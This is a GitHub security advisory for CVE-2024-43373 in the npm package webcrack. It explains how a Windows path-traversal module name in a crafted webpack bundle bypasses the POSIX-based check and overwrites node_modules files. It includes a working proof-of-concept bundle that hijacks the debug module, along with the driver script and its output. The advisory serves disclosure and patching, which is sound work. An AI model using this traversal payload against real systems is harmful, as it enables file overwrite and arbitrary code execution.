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webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle

Moderate severity GitHub Reviewed Published Aug 14, 2024 in j4k0xb/webcrack • Updated Nov 18, 2024

Package

npm webcrack (npm)

Affected versions

<= 2.14.0

Patched versions

2.14.1

Description

Summary

An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.

Details

Source: packages/webcrack/src/unpack/bundle.ts#L79

import { posix } from 'node:path';
import type { Module } from './module';

// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;

/* ... snip ... */

const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
    throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
    recursive: true
});
await writeFile(modulePath, module.code, 'utf8');

In this code, the application explicitly relies on the POSIX version of path utilities (dirname, join, normalize) from Node.js. However, the vulnerability arises because the POSIX version of the normalize function does not recognize \ as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.

PoC

The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the debug module in Node.js:

Malicious Script (what.js):

(function (e) {
    var n = {};
    function o(r) {
      if (n[r]) {
        return n[r].exports;
      }
      var a = (n[r] = {
        i: r,
        l: false,
        exports: {},
      });
      e[r].call(a.exports, a, a.exports, o);
      a.l = true;
      return a.exports;
    }
    o.p = '';
    o((o.s = 386));
  })({
    './\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
        module.exports = () => console.log("pwned")
    },
  });

Webcrack Script (index.js):

import fs from 'fs';
import { webcrack } from 'webcrack';

const input = fs.readFileSync('what.js', 'utf8');

const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');

Execution:
Running the above script with node index.js twice results in the following output being printed to the terminal:

PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
  var n = {};
  function o(r) {
    if (n[r]) {
      return n[r].exports;
    }
    var a = n[r] = {
      i: r,
      l: false,
      exports: {}
    };
    e[r].call(a.exports, a, a.exports, o);
    a.l = true;
    return a.exports;
  }
  o.p = "";
  o(o.s = 386);
})({
  "./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
    module.exports = () => console.log("pwned");
  }
});
WebpackBundle {
  type: 'webpack',
  entryId: '386',
  modules: Map(1) {
    './\\..\\node_modules\\debug\\src\\index' => WebpackModule {
      id: './\\..\\node_modules\\debug\\src\\index',
      isEntry: false,
      path: '././\\..\\node_modules\\debug\\src\\index.js',
      ast: [Object]
    }
  }
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
  if (options.log) logger(`${name}: started`);
                   ^

TypeError: logger is not a function
    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
    at async file:///C:/Webcrack/index.js:6:16

Node.js v18.16.0

This demonstrates that the debug module was successfully overwritten and hijacked to print pwned to the console, confirming the arbitrary file write vulnerability has lead to code execution.

Impact

This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.

References

@j4k0xb j4k0xb published to j4k0xb/webcrack Aug 14, 2024
Published to the GitHub Advisory Database Aug 14, 2024
Reviewed Aug 14, 2024
Published by the National Vulnerability Database Aug 15, 2024
Last updated Nov 18, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity High
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L

EPSS score

0.050%
(22nd percentile)

CVE ID

CVE-2024-43373

GHSA ID

GHSA-ccqh-278p-xq6w

Source code

Credits

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